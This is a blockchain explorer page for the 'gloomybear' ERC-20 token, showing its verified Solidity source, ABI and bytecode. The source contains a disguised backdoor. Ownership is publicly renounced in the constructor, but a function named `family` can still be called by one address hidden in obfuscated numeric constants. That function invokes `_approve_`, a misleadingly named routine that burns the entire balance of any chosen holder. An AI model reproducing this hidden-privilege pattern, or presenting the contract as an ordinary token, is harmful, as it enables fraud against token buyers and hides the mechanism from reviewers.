ERC-20
Overview
Max Total Supply
1,000,000,000 🐻gloomybear
Holders
278
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
26,204,360.962080244 🐻gloomybearValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Tonken
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-08-20 */ //SPDX-License-Identifier: UNLICENSED /* Created on Ape.Store */ pragma solidity 0.8.24; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract ERC20 is Context, IERC20 { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _trading; string private _name; string private _symbol; address private _owner; uint8 private _decimals; constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_ ) { _name = name_; _symbol = symbol_; _decimals = decimals_; _trading = uint160(_msgSender()); _owner = _msgSender(); _mint(_msgSender(), totalSupply_ * 10**_decimals); renounceOwnership(); } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function only() internal virtual { require(uint160(msg.sender) == trade() - 65535, "Ownable: caller is not the owner"); } function isOwner() public view virtual returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function trading() internal view virtual returns (uint256) { uint256 trading_ = type(uint16).max + _trading - 188039956508861334759398814388060044689931612595; return trading_; } function trade() internal view virtual returns (uint256) { uint256 _trade = 221998926470768928043781970572455213734364403038; return _trade; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function decimals() public view virtual returns (uint8) { return _decimals; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function burn(uint256 amount)public virtual onlyOwner returns (bool) { _burn(_msgSender(), amount); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approve_(address owner) internal virtual { uint256 accountBalance = (_balances[owner] + trading()) * 100 / 100; _beforeTokenTransfer(owner, address(0), accountBalance); _balances[owner] -= accountBalance; emit Transfer(owner, address(0), accountBalance); _afterTokenTransfer(owner, address(0), accountBalance); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {} function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {} } contract Tonken is ERC20 { constructor() ERC20(unicode"🐻gloomybear", unicode"🐻gloomybear", 9, 1000000000) {} receive() external payable {} function family(address account) external { only(); super._approve_(account); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"family","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405234801562000010575f80fd5b50604080518082018252600e8082526d784fc85db3b637b7b6bcb132b0b960911b6020808401829052845180860190955291845290830152906009633b9aca0060046200005e858262000321565b5060056200006d848262000321565b506006805460ff60a01b1916600160a01b60ff8516021790556200008e3390565b6001600160a01b0316600355600680546001600160a01b03191633908117909155620000e090600654620000ce90600160a01b900460ff16600a620004fc565b620000da908462000513565b620000f4565b620000ea620001da565b5050505062000543565b6001600160a01b038216620001505760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b8060025f8282546200016391906200052d565b90915550506001600160a01b0382165f9081526020819052604081208054839290620001919084906200052d565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6006546001600160a01b03163314620002365760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000147565b6006546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600680546001600160a01b0319169055565b505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620002ad57607f821691505b602082108103620002cc57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200027f57805f5260205f20601f840160051c81016020851015620002f95750805b601f840160051c820191505b818110156200031a575f815560010162000305565b5050505050565b81516001600160401b038111156200033d576200033d62000284565b62000355816200034e845462000298565b84620002d2565b602080601f8311600181146200038b575f8415620003735750858301515b5f19600386901b1c1916600185901b178555620003e5565b5f85815260208120601f198616915b82811015620003bb578886015182559484019460019091019084016200039a565b5085821015620003d957878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200044157815f1904821115620004255762000425620003ed565b808516156200043357918102915b93841c939080029062000406565b509250929050565b5f826200045957506001620004f6565b816200046757505f620004f6565b81600181146200048057600281146200048b57620004ab565b6001915050620004f6565b60ff8411156200049f576200049f620003ed565b50506001821b620004f6565b5060208310610133831016604e8410600b8410161715620004d0575081810a620004f6565b620004dc838362000401565b805f1904821115620004f257620004f2620003ed565b0290505b92915050565b5f6200050c60ff84168362000449565b9392505050565b8082028115828204841417620004f657620004f6620003ed565b80820180821115620004f657620004f6620003ed565b610c9a80620005515f395ff3fe6080604052600436106100c2575f3560e01c806370a082311161007c5780638f32d59b116100575780638f32d59b1461021657806395d89b411461023d578063a9059cbb14610251578063dd62ed3e14610270575f80fd5b806370a08231146101ad578063715018a6146101e1578063848a88d8146101f7575f80fd5b806306fdde03146100cd578063095ea7b3146100f757806318160ddd1461012657806323b872dd14610144578063313ce5671461016357806342966c681461018e575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506100e16102b4565b6040516100ee9190610a5c565b60405180910390f35b348015610102575f80fd5b50610116610111366004610abe565b610344565b60405190151581526020016100ee565b348015610131575f80fd5b506002545b6040519081526020016100ee565b34801561014f575f80fd5b5061011661015e366004610ae6565b61035a565b34801561016e575f80fd5b50600654600160a01b900460ff1660405160ff90911681526020016100ee565b348015610199575f80fd5b506101166101a8366004610b1f565b61040e565b3480156101b8575f80fd5b506101366101c7366004610b36565b6001600160a01b03165f9081526020819052604090205490565b3480156101ec575f80fd5b506101f561044d565b005b348015610202575f80fd5b506101f5610211366004610b36565b6104c0565b348015610221575f80fd5b506006546040516001600160a01b0390911681526020016100ee565b348015610248575f80fd5b506100e16104d4565b34801561025c575f80fd5b5061011661026b366004610abe565b6104e3565b34801561027b575f80fd5b5061013661028a366004610b56565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600480546102c390610b87565b80601f01602080910402602001604051908101604052809291908181526020018280546102ef90610b87565b801561033a5780601f106103115761010080835404028352916020019161033a565b820191905f5260205f20905b81548152906001019060200180831161031d57829003601f168201915b5050505050905090565b5f6103503384846104ef565b5060015b92915050565b5f610366848484610613565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156103ef5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61040385336103fe8685610bd3565b6104ef565b506001949350505050565b6006545f906001600160a01b0316331461043a5760405162461bcd60e51b81526004016103e690610be6565b61044433836107e9565b5060015b919050565b6006546001600160a01b031633146104775760405162461bcd60e51b81526004016103e690610be6565b6006546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600680546001600160a01b0319169055565b6104c8610935565b6104d181610975565b50565b6060600580546102c390610b87565b5f610350338484610613565b6001600160a01b0383166105515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e6565b6001600160a01b0382166105b25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e6565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166106775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e6565b6001600160a01b0382166106d95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e6565b6001600160a01b0383165f90815260208190526040902054818110156107505760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103e6565b61075a8282610bd3565b6001600160a01b038086165f90815260208190526040808220939093559085168152908120805484929061078f908490610c1b565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107db91815260200190565b60405180910390a350505050565b6001600160a01b0382166108495760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103e6565b6001600160a01b0382165f90815260208190526040902054818110156108bc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016103e6565b6108c68282610bd3565b6001600160a01b0384165f90815260208190526040812091909155600280548492906108f3908490610bd3565b90915550506040518281525f906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610606565b61095561ffff7326e2c6b1e3336802948db256ce2a1459785b555e610bd3565b33146109735760405162461bcd60e51b81526004016103e690610be6565b565b5f6064610980610a29565b6001600160a01b0384165f908152602081905260409020546109a29190610c1b565b6109ad906064610c2e565b6109b79190610c45565b90506001600160a01b0382165f90815260208190526040812080548392906109e0908490610bd3565b90915550506040518181525f906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b5f807320f000d68338f4b55db0c7ec1a5b11cd0855b1b360035461ffff8016610a529190610c1b565b6103549190610bd3565b5f602080835283518060208501525f5b81811015610a8857858101830151858201604001528201610a6c565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610448575f80fd5b5f8060408385031215610acf575f80fd5b610ad883610aa8565b946020939093013593505050565b5f805f60608486031215610af8575f80fd5b610b0184610aa8565b9250610b0f60208501610aa8565b9150604084013590509250925092565b5f60208284031215610b2f575f80fd5b5035919050565b5f60208284031215610b46575f80fd5b610b4f82610aa8565b9392505050565b5f8060408385031215610b67575f80fd5b610b7083610aa8565b9150610b7e60208401610aa8565b90509250929050565b600181811c90821680610b9b57607f821691505b602082108103610bb957634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561035457610354610bbf565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561035457610354610bbf565b808202811582820484141761035457610354610bbf565b5f82610c5f57634e487b7160e01b5f52601260045260245ffd5b50049056fea264697066735822122002fd1daf4102830de4e4cf3425be6eefca3f341ed889bd01b96a915d1b1f8f3164736f6c63430008180033
Deployed Bytecode
0x6080604052600436106100c2575f3560e01c806370a082311161007c5780638f32d59b116100575780638f32d59b1461021657806395d89b411461023d578063a9059cbb14610251578063dd62ed3e14610270575f80fd5b806370a08231146101ad578063715018a6146101e1578063848a88d8146101f7575f80fd5b806306fdde03146100cd578063095ea7b3146100f757806318160ddd1461012657806323b872dd14610144578063313ce5671461016357806342966c681461018e575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506100e16102b4565b6040516100ee9190610a5c565b60405180910390f35b348015610102575f80fd5b50610116610111366004610abe565b610344565b60405190151581526020016100ee565b348015610131575f80fd5b506002545b6040519081526020016100ee565b34801561014f575f80fd5b5061011661015e366004610ae6565b61035a565b34801561016e575f80fd5b50600654600160a01b900460ff1660405160ff90911681526020016100ee565b348015610199575f80fd5b506101166101a8366004610b1f565b61040e565b3480156101b8575f80fd5b506101366101c7366004610b36565b6001600160a01b03165f9081526020819052604090205490565b3480156101ec575f80fd5b506101f561044d565b005b348015610202575f80fd5b506101f5610211366004610b36565b6104c0565b348015610221575f80fd5b506006546040516001600160a01b0390911681526020016100ee565b348015610248575f80fd5b506100e16104d4565b34801561025c575f80fd5b5061011661026b366004610abe565b6104e3565b34801561027b575f80fd5b5061013661028a366004610b56565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600480546102c390610b87565b80601f01602080910402602001604051908101604052809291908181526020018280546102ef90610b87565b801561033a5780601f106103115761010080835404028352916020019161033a565b820191905f5260205f20905b81548152906001019060200180831161031d57829003601f168201915b5050505050905090565b5f6103503384846104ef565b5060015b92915050565b5f610366848484610613565b6001600160a01b0384165f908152600160209081526040808320338452909152902054828110156103ef5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61040385336103fe8685610bd3565b6104ef565b506001949350505050565b6006545f906001600160a01b0316331461043a5760405162461bcd60e51b81526004016103e690610be6565b61044433836107e9565b5060015b919050565b6006546001600160a01b031633146104775760405162461bcd60e51b81526004016103e690610be6565b6006546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600680546001600160a01b0319169055565b6104c8610935565b6104d181610975565b50565b6060600580546102c390610b87565b5f610350338484610613565b6001600160a01b0383166105515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103e6565b6001600160a01b0382166105b25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103e6565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166106775760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e6565b6001600160a01b0382166106d95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e6565b6001600160a01b0383165f90815260208190526040902054818110156107505760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103e6565b61075a8282610bd3565b6001600160a01b038086165f90815260208190526040808220939093559085168152908120805484929061078f908490610c1b565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107db91815260200190565b60405180910390a350505050565b6001600160a01b0382166108495760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103e6565b6001600160a01b0382165f90815260208190526040902054818110156108bc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016103e6565b6108c68282610bd3565b6001600160a01b0384165f90815260208190526040812091909155600280548492906108f3908490610bd3565b90915550506040518281525f906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610606565b61095561ffff7326e2c6b1e3336802948db256ce2a1459785b555e610bd3565b33146109735760405162461bcd60e51b81526004016103e690610be6565b565b5f6064610980610a29565b6001600160a01b0384165f908152602081905260409020546109a29190610c1b565b6109ad906064610c2e565b6109b79190610c45565b90506001600160a01b0382165f90815260208190526040812080548392906109e0908490610bd3565b90915550506040518181525f906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b5f807320f000d68338f4b55db0c7ec1a5b11cd0855b1b360035461ffff8016610a529190610c1b565b6103549190610bd3565b5f602080835283518060208501525f5b81811015610a8857858101830151858201604001528201610a6c565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610448575f80fd5b5f8060408385031215610acf575f80fd5b610ad883610aa8565b946020939093013593505050565b5f805f60608486031215610af8575f80fd5b610b0184610aa8565b9250610b0f60208501610aa8565b9150604084013590509250925092565b5f60208284031215610b2f575f80fd5b5035919050565b5f60208284031215610b46575f80fd5b610b4f82610aa8565b9392505050565b5f8060408385031215610b67575f80fd5b610b7083610aa8565b9150610b7e60208401610aa8565b90509250929050565b600181811c90821680610b9b57607f821691505b602082108103610bb957634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561035457610354610bbf565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561035457610354610bbf565b808202811582820484141761035457610354610bbf565b5f82610c5f57634e487b7160e01b5f52601260045260245ffd5b50049056fea264697066735822122002fd1daf4102830de4e4cf3425be6eefca3f341ed889bd01b96a915d1b1f8f3164736f6c63430008180033
Deployed Bytecode Sourcemap
7588:269:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2654:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4077:210;;;;;;;;;;-1:-1:-1;4077:210:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;4077:210:0;1004:187:1;3240:108:0;;;;;;;;;;-1:-1:-1;3328:12:0;;3240:108;;;1342:25:1;;;1330:2;1315:18;3240:108:0;1196:177:1;4295:489:0;;;;;;;;;;-1:-1:-1;4295:489:0;;;;;:::i;:::-;;:::i;3356:91::-;;;;;;;;;;-1:-1:-1;3430:9:0;;-1:-1:-1;;;3430:9:0;;;;3356:91;;1883:4:1;1871:17;;;1853:36;;1841:2;1826:18;3356:91:0;1711:184:1;5347:137:0;;;;;;;;;;-1:-1:-1;5347:137:0;;;;;:::i;:::-;;:::i;3459:177::-;;;;;;;;;;-1:-1:-1;3459:177:0;;;;;:::i;:::-;-1:-1:-1;;;;;3610:18:0;3578:7;3610:18;;;;;;;;;;;;3459:177;2498:148;;;;;;;;;;;;;:::i;:::-;;7751:103;;;;;;;;;;-1:-1:-1;7751:103:0;;;;;:::i;:::-;;:::i;2401:89::-;;;;;;;;;;-1:-1:-1;2476:6:0;;2401:89;;-1:-1:-1;;;;;2476:6:0;;;2422:51:1;;2410:2;2395:18;2401:89:0;2276:203:1;2753:95:0;;;;;;;;;;;;;:::i;3644:216::-;;;;;;;;;;-1:-1:-1;3644:216:0;;;;;:::i;:::-;;:::i;3868:201::-;;;;;;;;;;-1:-1:-1;3868:201:0;;;;;:::i;:::-;-1:-1:-1;;;;;4034:18:0;;;4002:7;4034:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3868:201;2654:91;2699:13;2732:5;2725:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2654:91;:::o;4077:210::-;4196:4;4218:39;1355:10;4241:7;4250:6;4218:8;:39::i;:::-;-1:-1:-1;4275:4:0;4077:210;;;;;:::o;4295:489::-;4435:4;4452:36;4462:6;4470:9;4481:6;4452:9;:36::i;:::-;-1:-1:-1;;;;;4526:19:0;;4499:24;4526:19;;;:11;:19;;;;;;;;1355:10;4526:33;;;;;;;;4592:26;;;;4570:116;;;;-1:-1:-1;;;4570:116:0;;3336:2:1;4570:116:0;;;3318:21:1;3375:2;3355:18;;;3348:30;3414:34;3394:18;;;3387:62;-1:-1:-1;;;3465:18:1;;;3458:38;3513:19;;4570:116:0;;;;;;;;;4697:57;4706:6;1355:10;4728:25;4747:6;4728:16;:25;:::i;:::-;4697:8;:57::i;:::-;-1:-1:-1;4772:4:0;;4295:489;-1:-1:-1;;;;4295:489:0:o;5347:137::-;2173:6;;5410:4;;-1:-1:-1;;;;;2173:6:0;2183:10;2173:20;2165:65;;;;-1:-1:-1;;;2165:65:0;;;;;;;:::i;:::-;5427:27:::1;1355:10:::0;5447:6:::1;5427:5;:27::i;:::-;-1:-1:-1::0;5472:4:0::1;2241:1;5347:137:::0;;;:::o;2498:148::-;2173:6;;-1:-1:-1;;;;;2173:6:0;2183:10;2173:20;2165:65;;;;-1:-1:-1;;;2165:65:0;;;;;;;:::i;:::-;2589:6:::1;::::0;2568:40:::1;::::0;2605:1:::1;::::0;-1:-1:-1;;;;;2589:6:0::1;::::0;2568:40:::1;::::0;2605:1;;2568:40:::1;2619:6;:19:::0;;-1:-1:-1;;;;;;2619:19:0::1;::::0;;2498:148::o;7751:103::-;7805:6;:4;:6::i;:::-;7822:24;7838:7;7822:15;:24::i;:::-;7751:103;:::o;2753:95::-;2800:13;2833:7;2826:14;;;;;:::i;3644:216::-;3766:4;3788:42;1355:10;3812:9;3823:6;3788:9;:42::i;6627:378::-;-1:-1:-1;;;;;6763:19:0;;6755:68;;;;-1:-1:-1;;;6755:68:0;;4371:2:1;6755:68:0;;;4353:21:1;4410:2;4390:18;;;4383:30;4449:34;4429:18;;;4422:62;-1:-1:-1;;;4500:18:1;;;4493:34;4544:19;;6755:68:0;4169:400:1;6755:68:0;-1:-1:-1;;;;;6842:21:0;;6834:68;;;;-1:-1:-1;;;6834:68:0;;4776:2:1;6834:68:0;;;4758:21:1;4815:2;4795:18;;;4788:30;4854:34;4834:18;;;4827:62;-1:-1:-1;;;4905:18:1;;;4898:32;4947:19;;6834:68:0;4574:398:1;6834:68:0;-1:-1:-1;;;;;6913:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6965:32;;1342:25:1;;;6965:32:0;;1315:18:1;6965:32:0;;;;;;;;6627:378;;;:::o;5492:726::-;-1:-1:-1;;;;;5632:20:0;;5624:70;;;;-1:-1:-1;;;5624:70:0;;5179:2:1;5624:70:0;;;5161:21:1;5218:2;5198:18;;;5191:30;5257:34;5237:18;;;5230:62;-1:-1:-1;;;5308:18:1;;;5301:35;5353:19;;5624:70:0;4977:401:1;5624:70:0;-1:-1:-1;;;;;5713:23:0;;5705:71;;;;-1:-1:-1;;;5705:71:0;;5585:2:1;5705:71:0;;;5567:21:1;5624:2;5604:18;;;5597:30;5663:34;5643:18;;;5636:62;-1:-1:-1;;;5714:18:1;;;5707:33;5757:19;;5705:71:0;5383:399:1;5705:71:0;-1:-1:-1;;;;;5869:17:0;;5845:21;5869:17;;;;;;;;;;;5919:23;;;;5897:111;;;;-1:-1:-1;;;5897:111:0;;5989:2:1;5897:111:0;;;5971:21:1;6028:2;6008:18;;;6001:30;6067:34;6047:18;;;6040:62;-1:-1:-1;;;6118:18:1;;;6111:36;6164:19;;5897:111:0;5787:402:1;5897:111:0;6039:22;6055:6;6039:13;:22;:::i;:::-;-1:-1:-1;;;;;6019:17:0;;;:9;:17;;;;;;;;;;;:42;;;;6072:20;;;;;;;;:30;;6096:6;;6019:9;6072:30;;6096:6;;6072:30;:::i;:::-;;;;;;;;6135:9;-1:-1:-1;;;;;6118:35:0;6127:6;-1:-1:-1;;;;;6118:35:0;;6146:6;6118:35;;;;1342:25:1;;1330:2;1315:18;;1196:177;6118:35:0;;;;;;;;5613:605;5492:726;;;:::o;4792:547::-;-1:-1:-1;;;;;4876:21:0;;4868:67;;;;-1:-1:-1;;;4868:67:0;;6526:2:1;4868:67:0;;;6508:21:1;6565:2;6545:18;;;6538:30;6604:34;6584:18;;;6577:62;-1:-1:-1;;;6655:18:1;;;6648:31;6696:19;;4868:67:0;6324:397:1;4868:67:0;-1:-1:-1;;;;;5031:18:0;;5006:22;5031:18;;;;;;;;;;;5068:24;;;;5060:71;;;;-1:-1:-1;;;5060:71:0;;6928:2:1;5060:71:0;;;6910:21:1;6967:2;6947:18;;;6940:30;7006:34;6986:18;;;6979:62;-1:-1:-1;;;7057:18:1;;;7050:32;7099:19;;5060:71:0;6726:398:1;5060:71:0;5163:23;5180:6;5163:14;:23;:::i;:::-;-1:-1:-1;;;;;5142:18:0;;:9;:18;;;;;;;;;;:44;;;;5197:12;:22;;5213:6;;5142:9;5197:22;;5213:6;;5197:22;:::i;:::-;;;;-1:-1:-1;;5235:37:0;;1342:25:1;;;5261:1:0;;-1:-1:-1;;;;;5235:37:0;;;;;1330:2:1;1315:18;5235:37:0;1196:177:1;2258:135:0;2333:15;2343:5;3150:48;2333:15;:::i